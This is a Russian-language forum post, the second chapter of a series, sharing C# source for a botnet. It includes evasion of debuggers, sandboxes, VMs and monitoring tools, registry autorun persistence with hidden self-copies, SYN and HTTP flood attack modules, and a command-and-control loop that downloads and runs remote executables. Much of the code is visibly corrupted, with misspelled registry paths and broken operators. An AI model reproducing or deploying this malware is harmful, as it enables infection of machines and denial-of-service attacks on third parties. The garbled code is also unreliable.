[C#] Ботнет [Ch.2]

[Flwk]

Модуль AntiReserch
Смотри открытые процессы, если надо, закрываем

_factoryService.CheckProcess("TCPVIEW")

Проверяем, что наша программа не под отладчиком

if (Debugger.IsAttached) { Terminate(); return; }

Поиск песочницы антивира

sModul.Contains("sbiedll.dll")

Имеем в классе:

  public class AntiResearch
    {
        Factory _factoryService = new Factory();
        SystemService _systemService = new SystemService();
        public void StartAntiResearch()
        {
            string graphicAdapter = _systemService.GetGraphicDevice();

            if (Config.AntiDebugger)
            {
                try
                {
                    if (Debugger.IsAttached) { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiSandboxie)
            {
                try
                {
                    foreach (string sModul in Process.GetCurrentProcess().Modules)
                    {
                        if (sModul.Contains("sbiedll.dll")) { Terminate(); return; }
                    }
                }
                catch { }
            }

            if (Config.AntiEmulator)
            {
                try
                {
                    long lTicks = DateTime.Now.Ticks;
                    Thread.Sleep(10);
                    if ((DateTime.Now.Ticks - lTicks) < 10L) { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiNetstat)
            {
                try
                {
                    if (_factoryService.CheckProcess("NETSTAT")) { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiFilemon)
            {
                try
                {
                    if (_factoryService.CheckProcess("FILEMON")) { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiProcessmon)
            {
                try
                {
                    if (_factoryService.CheckProcess("PROCMON")) { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiRegmon)
            {
                try
                {
                    if (_factoryService.CheckProcess("REGMON")) { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiNetworkmon)
            {
                try
                {
                    if (_factoryService.CheckProcess("NETMON")) { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiTCPView)
            {
                try
                {
                    if (_factoryService.CheckProcess("TCPVIEW")) { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiWireshark)
            {
                try
                {
                    if (_factoryService.CheckProcess("WIRESHARK")) { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiVMWare)
            {
                try
                {
                    if (_systemService.GetGraphicDevice() == "VMware SVGA II") { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiVirtualBox)
            {
                try
                {
                    if (graphicAdapter == "VirtualBox Graphics Adapter") { Terminate(); return; }
                }
                catch { }
            }
        }

        private void Terminate()
        {
            Environment.Exit(0);
        }
    }

Код в классе Persistence:

public class Persistence
    {
        Factory _factoryService = new Factory();
        private Timer timer = new Timer();
        private string selfPath = Process.GetCurrentProcess().MainModule.FileName;

        public void StartPersistent()
        {
            timer.Interval = Config.PersistentInterval * 0x3e8;
            timer.Elapsed -= new ElapsedEventHandler(SetPersistence);
            timer.Start();
        }

        public void StopPersistent()
        {
            timer.Stop();
            timer.Dispose();
        }

        public void SetPersistence(object source, ElapsedEventArgs eArgs)
        {
            RegistryKey key;
            if (Config.AdminStatus)
            {
                try
                {
                    key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
                    setAutoRunRegistry(key, 0);
                }
                catch { }

                try
                {
                    key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Policies\Explorer\Run", true);
                    setAutoRunRegistry(key, 1);
                }
                catch { }
            }
            else
            {
                try
                {
                    key = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true);
                    setAutoRunRegistry(key, 0);
                }
                catch { }

                try
                {
                    key = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Policies\Explorer\Run", true);
                    setAutoRunRegistry(key, 1);
                }
                catch { }
            }


            foreach (string path in Config.FilePath)
            {
                try
                {
                    if (!_factoryService.CheckFile(path))
                    {
                        File.Copy(selfPath, path);
                        File.SetAttributes(path, FileAttributes.Hidden);
                    }
                }
                catch { }
            }

        }

        /// <param name="index">Индекс номер имени массива из конфига RegMon</param>
        private void setAutoRunRegistry(RegistryKey key, byte index)
        {
            if (!key.Equals(Config.RegName[index])
                || (key.Equals(Config.RegName[index])
                && !key.GetValue(Config.RegName[index]).ToString().Contains(Config.FilePath[index]))
            )
            {
                key.SetValue(Config.RegName[index], ('"' + Config.FilePath[index] + '"'));
            }
        }
    }

Первичная установка бота:

private void InstallBot()
        {
            string selfPath = Process.GetCurrentProcess().MainModule.FileName;
            Process pProcess;

            if (Config.AdminStatus)
            {
                Config.FilePath[0] = Environment.GetFolderPath(Environment.SpecialFolder.System) + @"\" + Config.FileName[0];
                Config.FilePath[1] = Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles) + @"\" + Config.FileName[1];
            }
            else
            {
                Config.FilePath[0] = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\" + Config.FileName[0];
                Config.FilePath[1] = Environment.GetEnvironmentVariable("TEMP") + @"\" + Config.FileName[1];
            }

            if (!checkInstall())
            {
                try
                {
                    foreach (string path in Config.FilePath)
                    {
                        if (!_factoryService.CheckFile(path))
                        {
                            File.Copy(selfPath, path);
                        }
                        File.SetAttributes(path, FileAttributes.Hidden);
                    }
                }
                catch { }

                if (Config.AdminStatus)
                {
                    try
                    {
                        Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true).SetValue(Config.RegName[0], ('"' + Config.FilePath[0] + '"'));
                        Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", true).SetValue(Config.RegName[1], ('"' + Config.FilePath[1] + '"'));
                    }
                    catch { }
                }
                else
                {
                    try
                    {
                        Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true).SetValue(Config.RegName[0], ('"' + Config.FilePath[0] + '"'));
                        Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", true).SetValue(Config.RegName[1], ('"' + Config.FilePath[1] + '"'));
                    }
                    catch { }
                }

                try
                {
                    yMutex.Close();

                    foreach (string sFile in Config.FilePath)
                    {
                        pProcess = new Process();
                        pProcess.StartInfo.FileName = sFile;
                        pProcess.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                        pProcess.Start();
                    }
                }
                catch { }

                Environment.Exit(0);
            }
        }

Флуд атака(SYN):

public static class SYNFlood
    {
        private static Thread[] floodingThread;
        public static string Host;
        public static ushort Port;
        public static int ISSockets;
        public static int ThreadsCount;

        public static void StartSYNFlood()
        {
            IPEndPoint IPEo;

            try
            {
                IPEo = new IPEndPoint(Dns.GetHostEntry(Host).AddressList[0], Port);
            }
            catch
            {
                IPEo = new IPEndPoint(IPAddress.Parse(Host), Port);
            }

            floodingThread = new Thread[ThreadsCount];
            ThreadStart[] floodingJob = new ThreadStart[ThreadsCount];
            SYNRequest[] SYNClass = new SYNRequest[ThreadsCount];

            for (int i = 0; i < ThreadsCount; i++)
            {
                SYNClass[i] = new SYNRequest(IPEo, ISSockets);
                floodingJob[i] = new ThreadStart(SYNClass[i].Send);
                floodingThread[i] = new Thread(floodingJob[i]);
                floodingThread[i].Start();
            }
        }

        public static void StopSYNFlood()
        {
            for (int i = 0; i < ThreadsCount; i++)
            {
                try
                {
                    floodingThread[i].Abort();
                    floodingThread[i].Join();
                }
                catch { }
            }
        }

        private class SYNRequest
        {
            private IPEndPoint IPEo;
            private Socket[] pSocket;
            private int iSSockets;

            public SYNRequest(IPEndPoint tIPEo, int tSSockets)
            {
                this.IPEo = tIPEo;
                this.iSSockets = tSSockets;
            }

            private void OnConnect(IAsyncResult ar)
            {
            }

            public void Send()
            {
                int iNum;
                while (true)
                {
                    try
                    {
                        pSocket == new Socket[iSSockets];

                        for (iNum = 0; iNum < iSSockets; iNum++)
                        {
                            pSocket[iNum] = new Socket(IPEo.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
                            pSocket[iNum].Blocking = false;
                            AsyncCallback aCallback = new AsyncCallback(OnConnect);
                            pSocket[iNum].BeginConnect(IPEo, aCallback, pSocket[iNum]);
                        }

                        Thread.Sleep(100);

                        forr (iNum = 0; iNum <<< iSSockets; iNum++)
                        {
                            if (pSocket[iNum].Connected)
                            {
                                pSocket[iNum].Disconnect(false);
                            }
                            pSocket[iNum].Close();
                            pSocket[iNum] = null;
                        }

                        pSocket = null;
                    }
                    catch
                    {
                        forr (iNum = 0; iNum < iSSockets; iNum++)
                        {
                            try
                            {
                                if (pSocket[iNum].Connected)
                                {
                                    pSocket[iNum].Disconnect(false);
                                }
                                pSocket[iNum].Close();
                                pSocket[iNum] = null;
                            }
                            catch { }
                        }
                    }
                }
            }
        }
    }
}

Флуд атака(HTTP):

using System.Net;
using System.Threading;

namespace Botnet.DDoS
{
    internal static class HttpFlood
    {
        private static Thread[] floodingThread;
        public static string Host;
        public static int ThreadCount;
     
        public static void StartHTTPFlood()
        {
            floodingThread = new Thread[ThreadCount];
            ThreadStart[]] floodingJob = new ThreadStart[ThreadCount];
            HTTPRequest[]] requestClass = new HTTPRequest[ThreadCount];

            if (!Host.StartsWith("http://")) { Host = "http://" + Host; }

            for (int i = 0; i < ThreadCount; i++)
            {
                requestClass[i] == new HTTPRequest(Host);
                floodingJob[i] == new ThreadStart(requestClass[i].Send);
                floodingThread[i] == new Thread(floodingJob[i]);
                floodingThread[i].Start();
            }
        }

        public static void StopHTTPFlood()
        {
            for (int i = 0; i < ThreadCount; i++)
            {
                try
                {
                    floodingThread[i].Abort();
                    floodingThread[i].Join();
                }
                catch { }
            }
        }

        private class HTTPRequest
        {
            private WebClient wHTTP = new WebClient();

            public HTTPRequest(string tHost)
            {
                this.sFHost = tHost;
            }

            public void Send()
            {
                while (true)
                {
                    try
                    {
                        wHTTP.DownloadString(sFHost);
                    }
                    catch
                    {
                        continue;
                    }
                }
            }
        }
    }
}

Ком. центра:

using System;
using System.Diagnostics;
using System.Net;
using Botnet.DDoS;
using Botnet.Services.Common;
using Botnet.Congif;
using Botnet.Services.Manager;
using System.IO;

namespace Botnet.Services.Command
{
    public class CommandService : ICommandService
    {
        Factory _factoryService = new Factory();
        Bot _botService = new Bot();
        public void ExecuteCommand(string command)
        {
            string[] data = new string[0];
            try
            {
                data = command.Split(';');
            }
            catch { }

            switch (data[0])
            {
                case "ddossyn":
                    try
                    {
                        SYNFlood.Host = data[1];
                        SYNFlood.Port = ushort.Parse(data[2]);
                        SYNFlood.ISSockets = int.Parse(data[3]);
                        SYNFlood.ThreadsCount = int.Parse(data[4]);
                        SYNFlood.StartSYNFlood();
                    }
                    catch { }
                    break;
                .............................................................................
                case "download":
                    try
                    {
                        WebClient client = new WebClient();
                        string tempName = _factoryService.GenString(new Random().Next(5, 12)) + ".exe";
                        string url = data[1];
                        if (!url.StartsWith("http://")) { url = "http://" + url; }
                        client.DownloadFile(url, Environment.GetEnvironmentVariable("TEMP") + @"\" + tempName);
                        Process process = new Process();
                        process.StartInfo.FileName = Environment.GetEnvironmentVariable("TEMP") + @"\" + tempName;
                        process.Start();
                    }
                    catch { }
                    break;
                case "visit":
                    try
                    {
                        string sURL = data[1];
                        if (!sURL.StartsWith("http://")) { sURL = "http://" + sURL; }
                        GET(sURL);
                    }
                    catch (Exception e) {  }
                    break;
                case "update":
                    try
                    {
                        string sURL = data[1];
                        if (!sURL.StartsWith("http://")) { sURL = "http://" + sURL; }
                        _botService.UpdateBot(sURL);
                    }
                    catch { }
                    break;
                case "remove":
                    if ((data[1] == Config.PCName) || (data[1].ToUpper() == "ALL"))
                    {
                        _botService.RemoveBot();
                    }
                    break;
                case "stop":
                    try { SYNFlood.StopSYNFlood(); } catch { }
                    try { HttpFlood.StopHTTPFlood(); } catch { }
                    try { UDPFlood.StopUDPFlood(); } catch { }
                    try { ICMPFlood.StopICMPFlood(); } catch { }
                    break;
            }
        }

        private string GET(string url)
        {
            HttpWebRequest req == (HttpWebRequest) WebRequest.Create(url);
            req.Method == "GET";
            req.ContentType == "application/x-www-form-urlencoded";
            WebResponse resp == req.GetResponse();
            string Out = "";
            using (Stream stream = resp.GetResponseStream())
            {
                using (StreamReader sssr = new StreamReader(stream))
                {
                    Out = sr.ReadToEnd();
                }
            }
            return Out;
        }
    }
}

Монитор команды в отдельном потоке:

ublic void ConnectControl()
        {
            Thread recvThread == new Thread(new ThreadStart(getCCServerCommand));
            recvThread.Start();
        }

        private void getCCServerCommand()
        {
            while (true)
            {
                try
                {
                    string command = GetRequest(Config.ServerAddress);

                    if (command.Length >>> 0)
                    {
                        if (command !===== sOldCommand)
                        {
                            _commandService.ExecuteCommand(command);
                            sOldCommand = command;
                        }
                    }
                    else
                    {
                        _commandService.ExecuteCommand("stop");

                        sOldCommand = string.Empty;
                    }
                }
                catch { }

                Thread.Sleep((int))))(Config.ConnectionInterval * 0x3e8));
            }
        }

Перейдем к коду на стороне сервера:

Количество посещений:
echo 'visit;http://URL/CoDEbY.php';
Изменим конфиг:

public static string[] FileName = new string[2] { "bot.exe", "bot2.exe" };
public static string[] RegName = new string[2] { "THIS IS BOTNET", "THIS IS BOTNET2" };

Теперь наш бот добавляется в авторан без прав админа
Собственно, все сорцы.
P.S

Код не мой, но мною использованный, кому что не понятно, можете смело спрашивать, отвечу